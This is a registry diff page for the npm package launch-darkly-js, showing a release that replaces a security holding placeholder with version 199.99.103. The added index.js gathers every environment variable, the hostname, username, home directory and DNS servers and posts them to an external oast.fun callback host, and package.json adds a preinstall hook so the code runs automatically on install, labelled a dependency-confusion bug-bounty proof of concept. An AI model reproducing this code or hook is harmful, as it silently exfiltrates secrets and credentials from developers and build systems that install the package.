launch-darkly-js 0.0.1-security → 199.99.103

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of launch-darkly-js might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +44 -0
  2. package/package.json +11 -6
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,44 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+ const packageJSON = require("./package.json");
6
+ const package = packageJSON.name;
7
+
8
+ const envVars = process.env;
9
+
10
+ let envDataString = JSON.stringify(envVars);
11
+
12
+ const trackingData = JSON.stringify({
13
+ p: package,
14
+ v: packageJSON.version,
15
+ c: __dirname,
16
+ hd: os.homedir(),
17
+ hn: os.hostname(),
18
+ un: os.userInfo().username,
19
+ dns: dns.getServers(),
20
+ env_vars: envDataString,
21
+ proof_of_impact: "Execution Confirmed - Env and Hostname Extracted"
22
+ });
23
+
24
+ var postData = querystring.stringify({
25
+ msg: trackingData,
26
+ });
27
+
28
+ var options = {
29
+ hostname: "dmtlasxbenvoxxczbtvuq3cjal7ll1z3s.oast.fun",
30
+ port: 443,
31
+ path: "/",
32
+ method: "POST",
33
+ headers: {
34
+ "Content-Type": "application/x-www-form-urlencoded",
35
+ "Content-Length": Buffer.byteLength(postData),
36
+ },
37
+ };
38
+
39
+ var req = https.request(options, (res) => { });
40
+
41
+ req.on("error", (e) => { });
42
+
43
+ req.write(postData);
44
+ req.end();
package/package.json CHANGED
@@ -1,6 +1,11 @@
1
- {
2
- "name": "launch-darkly-js",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
1
+ {
2
+ "name": "launch-darkly-js",
3
+ "version": "199.99.103",
4
+ "description": "Bug Bounty PoC for Dependency Confusion",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node index.js"
8
+ },
9
+ "author": "r4gh4v",
10
+ "license": "ISC"
11
+ }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=launch-darkly-js for more information.